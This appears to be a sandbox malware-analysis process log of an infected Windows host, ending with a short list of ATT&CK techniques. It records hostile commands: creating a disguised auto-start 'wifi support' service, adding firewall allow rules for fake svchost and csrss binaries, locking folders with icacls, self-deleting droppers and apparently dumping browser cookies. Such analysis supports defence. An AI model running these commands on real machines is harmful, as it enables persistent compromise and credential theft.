\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:7440
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{4b1ed53e-3943-4746-99bc-313920e29048}\oemvista.inf" "9" "4d14a44ff" "000000000000016C" "WinSta0\Default" "0000000000000168" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:7476
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000190"2⤵PID:7784
-
-
C:\Users\Admin\AppData\Local\Temp\6ABC.exeC:\Users\Admin\AppData\Local\Temp\6ABC.exe1⤵PID:7664
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\9bf5ef3a-209a-4ce0-b1c5-69eefc6f6b99" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
PID:6532
-
-
C:\Users\Admin\AppData\Local\Temp\6ABC.exe"C:\Users\Admin\AppData\Local\Temp\6ABC.exe" --Admin IsNotAutoStart IsNotTask2⤵PID:7652
-
C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\updatewin1.exe"C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\updatewin1.exe"3⤵PID:4380
-
-
C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\updatewin.exe"C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\updatewin.exe"3⤵PID:5248
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\updatewin.exe4⤵PID:7532
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
PID:1468
-
-
-
-
C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\updatewin2.exe"C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\updatewin2.exe"3⤵PID:1416
-
-
C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\5.exe"C:\Users\Admin\AppData\Local\815ec335-db5f-402f-86e5-26254e9871d6\5.exe"3⤵PID:5164
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 8564⤵
- Program crash
PID:7252
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 8404⤵
- Program crash
PID:6044
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 9844⤵
- Program crash
PID:1364
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 9524⤵
- Program crash
PID:5636
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 10324⤵
- Program crash
PID:6336
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 12324⤵
- Program crash
PID:8172
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 12524⤵
- Program crash
PID:2828
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 14444⤵
- Program crash
PID:4772
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 15404⤵
- Program crash
PID:4980
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:7848
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:7900
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:7892
-
C:\Users\Admin\AppData\Local\Temp\8B84.exeC:\Users\Admin\AppData\Local\Temp\8B84.exe1⤵PID:8124
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo dbvicTgbw2⤵PID:5972
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Lana.vstx2⤵PID:4040
-
C:\Windows\SysWOW64\cmd.execmd3⤵PID:7980
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7560
-
C:\Users\Admin\AppData\Local\Temp\B4E6.exeC:\Users\Admin\AppData\Local\Temp\B4E6.exe1⤵PID:7808
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B4E6.exe"2⤵PID:6792
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:4692
-
-
-
C:\Users\Admin\AppData\Local\Temp\DC36.exeC:\Users\Admin\AppData\Local\Temp\DC36.exe1⤵PID:5656
-
C:\Users\Admin\AppData\Local\Temp\FA3E.exeC:\Users\Admin\AppData\Local\Temp\FA3E.exe1⤵PID:6928
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zqjtssi\2⤵PID:7048
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ktnskjea.exe" C:\Windows\SysWOW64\zqjtssi\2⤵PID:5276
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create zqjtssi binPath= "C:\Windows\SysWOW64\zqjtssi\ktnskjea.exe /d\"C:\Users\Admin\AppData\Local\Temp\FA3E.exe\"" type= own start= auto DisplayName= "wifi support"2⤵PID:4500
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description zqjtssi "wifi internet conection"2⤵PID:5588
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start zqjtssi2⤵PID:6152
-
-
C:\Users\Admin\dycukvxv.exe"C:\Users\Admin\dycukvxv.exe" /d"C:\Users\Admin\AppData\Local\Temp\FA3E.exe"2⤵PID:6328
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wfzewvqm.exe" C:\Windows\SysWOW64\zqjtssi\3⤵PID:4364
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" config zqjtssi binPath= "C:\Windows\SysWOW64\zqjtssi\wfzewvqm.exe /d\"C:\Users\Admin\dycukvxv.exe\""3⤵PID:7496
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start zqjtssi3⤵PID:5912
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6121.bat" "3⤵PID:6000
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵PID:8184
-
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵PID:7180
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:676
-
C:\Users\Admin\AppData\Local\Temp\2334.exeC:\Users\Admin\AppData\Local\Temp\2334.exe1⤵PID:7720
-
C:\Users\Admin\AppData\Local\Temp\3BFD.exeC:\Users\Admin\AppData\Local\Temp\3BFD.exe1⤵PID:3916
-
C:\Users\Admin\AppData\Local\Temp\3BFD.exeC:\Users\Admin\AppData\Local\Temp\3BFD.exe2⤵PID:6648
-
-
C:\Users\Admin\AppData\Local\Temp\51A8.exeC:\Users\Admin\AppData\Local\Temp\51A8.exe1⤵PID:8084
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:7668
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:7984
-
-
C:\Users\Admin\AppData\Local\Temp\59A8.exeC:\Users\Admin\AppData\Local\Temp\59A8.exe1⤵PID:5928
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:2240
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:4700
-
-
C:\Users\Admin\AppData\Local\Temp\81F2.exeC:\Users\Admin\AppData\Local\Temp\81F2.exe1⤵PID:6268
-
C:\Users\Admin\AppData\Local\Temp\81F2.exe"C:\Users\Admin\AppData\Local\Temp\81F2.exe"2⤵PID:7076
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵PID:7904
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵PID:8036
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9694.exeC:\Users\Admin\AppData\Local\Temp\9694.exe1⤵PID:6088
-
C:\Users\Admin\AppData\Local\Temp\is-QIO19.tmp\9694.tmp"C:\Users\Admin\AppData\Local\Temp\is-QIO19.tmp\9694.tmp" /SL5="$D0424,300262,216576,C:\Users\Admin\AppData\Local\Temp\9694.exe"2⤵PID:6700
-
C:\Users\Admin\AppData\Local\Temp\is-NLQ0N.tmp\ST.exe"C:\Users\Admin\AppData\Local\Temp\is-NLQ0N.tmp\ST.exe" /S /UID=lab2123⤵PID:8148
-
C:\Program Files\Windows Sidebar\MNKFZUUGOT\prolab.exe"C:\Program Files\Windows Sidebar\MNKFZUUGOT\prolab.exe" /VERYSILENT4⤵PID:7536
-
C:\Users\Admin\AppData\Local\Temp\is-DUMJ2.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-DUMJ2.tmp\prolab.tmp" /SL5="$5051A,575243,216576,C:\Program Files\Windows Sidebar\MNKFZUUGOT\prolab.exe" /VERYSILENT5⤵PID:6168
-
-
-
C:\Users\Admin\AppData\Local\Temp\ec-d63a6-688-b119c-541c581a85624\Fataeqacuho.exe"C:\Users\Admin\AppData\Local\Temp\ec-d63a6-688-b119c-541c581a85624\Fataeqacuho.exe"4⤵PID:1452
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\voo5wcit.fns\joggaplayer.exe & exit5⤵PID:5756
-
C:\Users\Admin\AppData\Local\Temp\voo5wcit.fns\joggaplayer.exeC:\Users\Admin\AppData\Local\Temp\voo5wcit.fns\joggaplayer.exe6⤵PID:7676
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:6564
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:7968
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xk5b1ioo.i5k\proxybot.exe & exit5⤵PID:7492
-
C:\Users\Admin\AppData\Local\Temp\xk5b1ioo.i5k\proxybot.exeC:\Users\Admin\AppData\Local\Temp\xk5b1ioo.i5k\proxybot.exe6⤵PID:5752
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"7⤵PID:204
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vicqt2ck.31o\ra4vpn.exe & exit5⤵PID:7372
-
C:\Users\Admin\AppData\Local\Temp\vicqt2ck.31o\ra4vpn.exeC:\Users\Admin\AppData\Local\Temp\vicqt2ck.31o\ra4vpn.exe6⤵PID:7144
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\B0E3.exeC:\Users\Admin\AppData\Local\Temp\B0E3.exe1⤵PID:4384
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:7064
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6028
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:4196
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4560
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4920
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6068
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6404
-
C:\Users\Admin\AppData\Local\Temp\A017.tmp.exeC:\Users\Admin\AppData\Local\Temp\A017.tmp.exe1⤵PID:6196
-
C:\Users\Admin\AppData\Local\Temp\A7D8.tmp.exeC:\Users\Admin\AppData\Local\Temp\A7D8.tmp.exe1⤵PID:4640
-
C:\Users\Admin\AppData\Local\Temp\B094.tmp.exeC:\Users\Admin\AppData\Local\Temp\B094.tmp.exe1⤵PID:6932
-
C:\Users\Admin\AppData\Local\Temp\C90E.tmp.exeC:\Users\Admin\AppData\Local\Temp\C90E.tmp.exe1⤵PID:5500
-
C:\Users\Admin\AppData\Local\Temp\D218.tmp.exeC:\Users\Admin\AppData\Local\Temp\D218.tmp.exe1⤵PID:5852
Network
MITRE ATT&CK Enterprise v6
Persistence
Bootkit
1Modify Existing Service
1New Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
2Scripting
1Web Service
1